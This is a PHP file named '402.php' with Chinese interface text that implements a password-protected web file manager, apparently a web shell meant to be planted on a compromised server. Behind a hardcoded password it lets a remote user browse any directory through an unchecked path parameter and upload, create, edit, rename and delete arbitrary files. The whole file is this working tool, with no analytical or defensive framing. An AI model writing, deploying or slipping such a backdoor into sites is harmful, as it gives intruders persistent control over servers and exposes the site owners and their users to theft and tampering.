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File Content: `402.php`

<?php
header('Content-Type: text/html; charset=UTF-8');
session_start();

// 登录验证
if (isset($_POST['password'])) {
    if ($_POST['password'] === 'viper') {
        $_SESSION['auth'] = true;
        header('Location: ' . $_SERVER['PHP_SELF']);
        exit;
    } else {
        $error = "密码错误";
    }
}

// 如果未登录，显示登录页面
if (!isset($_SESSION['auth']) || $_SESSION['auth'] !== true) {
    echo '<!DOCTYPE html><html><head><title>登录</title>';
    echo '<style>body{font-family:Arial;display:flex;justify-content:center;align-items:center;height:100vh;margin:0;background:#f5f5f5}';
    echo '.login{background:white;padding:20px;border-radius:5px;box-shadow:0 0 10px rgba(0,0,0,0.1);text-align:center}';
    echo 'input{padding:8px;margin:10px 0;width:200px}';
    echo 'button{padding:8px 15px;background:#4CAF50;color:white;border:none;cursor:pointer}';
    echo '.error{color:red;margin-bottom:10px}</style></head><body>';
    echo '<div class="login"><h2>HI！MY：Dom~</h2>';
    if (isset($error)) echo '<div class="error">'.$error.'</div>';
    echo '<form method="post"><input type="password" name="password" placeholder="请输入密码" autofocus>';
    echo '<br><button type="submit">登录</button></form></div></body></html>';
    exit;
}

$currentDir = $_GET['dir'] ?? __DIR__;
$originalDir = $_GET['root'] ?? __DIR__;

function handleUpload($directory) {
    if (!empty($_FILES['files'])) {
        $uploaded = 0;
        $failed = 0;

        foreach ($_FILES['files']['name'] as $key => $name) {
            if (!empty($name)) {
                $fileName = basename($name);
                $tmpName = $_FILES['files']['tmp_name'][$key];
                $targetFile = $directory . DIRECTORY_SEPARATOR . $fileName;

                if (move_uploaded_file($tmpName, $targetFile)) {
                    $uploaded++;
                } else {
                    $failed++;
                }
            }
        }

        $message = "上传成功：$uploaded 个文件；失败：$failed 个文件。";
        echo "<script>alert('$message'); window.location.href=window.location.href;</script>";
    }
}

function handleCreateFolder($directory) {
    if (!empty($_POST['folderName'])) {
        $newFolder = $directory . DIRECTORY_SEPARATOR . $_POST['folderName'];
        if (!is_dir($newFolder)) {
            if (mkdir($newFolder)) {
                echo "<script>alert('创建成功'); window.location.href=window.location.href;</script>";
            } else {
                echo "<script>alert('创建失败'); window.location.href=window.location.href;</script>";
            }
        } else {
            echo "<script>alert('目录已存在'); window.location.href=window.location.href;</script>";
        }
    }
}

function handleCreateFile($directory) {
    if (!empty($_POST['fileName'])) {
        $newFile = $directory . DIRECTORY_SEPARATOR . $_POST['fileName'];
        if (!file_exists($newFile)) {
            if (file_put_contents($newFile, '') !== false) {
                echo "<script>alert('创建成功'); window.location.href=window.location.href;</script>";
            } else {
                echo "<script>alert('创建失败'); window.location.href=window.location.href;</script>";
            }
        } else {
            echo "<script>alert('文件已存在'); window.location.href=window.location.href;</script>";
        }
    }
}

function handleEditFile($filePath) {
    if (isset($_POST['content'])) {
        file_put_contents($filePath, $_POST['content']);
        echo "<script>alert('保存成功'); window.location.href=window.location.href;</script>";
    }

    $content = htmlspecialchars(file_get_contents($filePath));
    echo "<form method='POST'>";
    echo "<textarea name='content' style='width:100%; height:300px;'>$content</textarea><br>";
    echo "<input type='submit' value='保存'>";
    echo "</form>";
}

function handleDeleteFile($filePath) {
    if (file_exists($filePath)) {
        unlink($filePath);
        echo "<script>alert('删除成功'); window.location.href=window.location.href;</script>";
    }
}

function handleRenameFile($filePath) {
    if (!empty($_POST['newName'])) {
        $newPath = dirname($filePath) . DIRECTORY_SEPARATOR . $_POST['newName'];
        if (rename($filePath, $newPath)) {
            echo "<script>alert('重命名成功'); window.location.href=window.location.href;</script>";
        } else {
            echo "<script>alert('重命名失败'); window.location.href=window.location.href;</script>";
        }
    } else {
        echo "<form method='POST'>";
        echo "<input type='text' name='newName' placeholder='新文件名'>";
        echo "<input type='submit' value='重命名'>";
        echo "</form>";
    }
}

function displayDirectory($directory) {
    $files = array_diff(scandir($directory), array('.', '..'));
    echo "<div><h3>目录内容：'$directory'</h3><ul>";

    foreach ($files as $file) {
        $path = realpath("$directory/$file");
        $style = getFileStatus($path);
        $isDir = is_dir($path) ? 'directory' : 'file';

        echo "<li class='$isDir' style='$style'>";
        echo $isDir === 'directory'
            ? "<a href='?dir=" . urlencode($path) . "&root=" . urlencode($_GET['root'] ?? __DIR__) . "'>$file</a>"
            : "$file <span class='actions'> - " . generateFileActions($directory, $file) . "</span>";
        echo "</li>";
    }
    echo "</ul></div>";
}

function getFileStatus($path) {
    if (is_writable($path) && is_readable($path)) {
        return "border-left: 4px solid green;";
    } elseif (!is_writable($path)) {
        return "border-left: 4px solid red;";
    } elseif (is_readable($path)) {
        return "border-left: 4px solid white;";
    }
    return "";
}

function generateFileActions($directory, $file) {
    $root = urlencode($_GET['root'] ?? __DIR__);
    return 
        "<a href='?dir=" . urlencode($directory) . "&action=edit&file=" . urlencode($file) . "&root=$root'>编辑</a> | 
         <a href='?dir=" . urlencode($directory) . "&action=delete&file=" . urlencode($file) . "&root=$root'>删除</a> | 
         <a href='?dir=" . urlencode($directory) . "&action=rename&file=" . urlencode($file) . "&root=$root'>重命名</a>";
}

function handleFileActions($filePath) {
    if (isset($_GET['action'])) {
        switch ($_GET['action']) {
            case 'edit':
                handleEditFile($filePath);
                break;
            case 'delete':
                handleDeleteFile($filePath);
                break;
            case 'rename':
                handleRenameFile($filePath);
                break;
        }
    }
}

echo "<!DOCTYPE html><html><head><meta charset='UTF-8'><title>文件管理器</title>
<style>
    body { font-family: Arial; padding: 20px; background: #f8f8f8; }
    .container { display: flex; gap: 40px; align-items: flex-start; }
    .block { border: 1px solid #ccc; padding: 15px; border-radius: 8px; width: 300px; background: #fff; }
    h3 { margin-top: 0; }
    .actions { font-size: 12px; color: #555; }
    .footer { font-size: 12px; color: #666; margin-top: 20px; }
</style>
</head><body>";

echo "<p>当前目录: <strong>$currentDir</strong></p>";
echo "<p>
    <a href='?dir=" . urlencode(dirname($currentDir)) . "&root=" . urlencode($originalDir) . "'>返回上级目录</a> | 
    <a href='?dir=" . urlencode($originalDir) . "&root=" . urlencode($originalDir) . "'>回到原目录</a>
</p>";

if (isset($_GET['action'])) {
    $filePath = $currentDir . DIRECTORY_SEPARATOR . $_GET['file'];
    handleFileActions($filePath);
}

displayDirectory($currentDir);

echo "<div class='container'>";

// 上传文件
echo "<div class='block'>";
echo "<h3>上传文件（最多5个）</h3><form method='POST' enctype='multipart/form-data'>";
for ($i = 0; $i < 5; $i++) {
    echo "<input type='file' name='files[]'><br>";
}
echo "<br><input type='submit' value='上传'>";
echo "</form>";
echo "</div>";

// 合并创建目录和文件
echo "<div class='block'>";
echo "<h3>创建目录 & 创建文件</h3><form method='POST'>";
echo "<input type='text' name='folderName' placeholder='目录名称'><br><br>";
echo "<input type='submit' value='创建目录'><br><br>";
echo "<input type='text' name='fileName' placeholder='文件名称'><br><br>";
echo "<input type='submit' value='创建文件'>";
echo "</form>";
echo "</div>";

echo "</div>"; // container 结束

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    handleUpload($currentDir);
    handleCreateFolder($currentDir);
    handleCreateFile($currentDir);
}

echo "<p class='footer'><a href='https://t.'>G</a> - </p>";

echo "</body></html>";
?>
File Content: 402.php

File Content: `402.php`
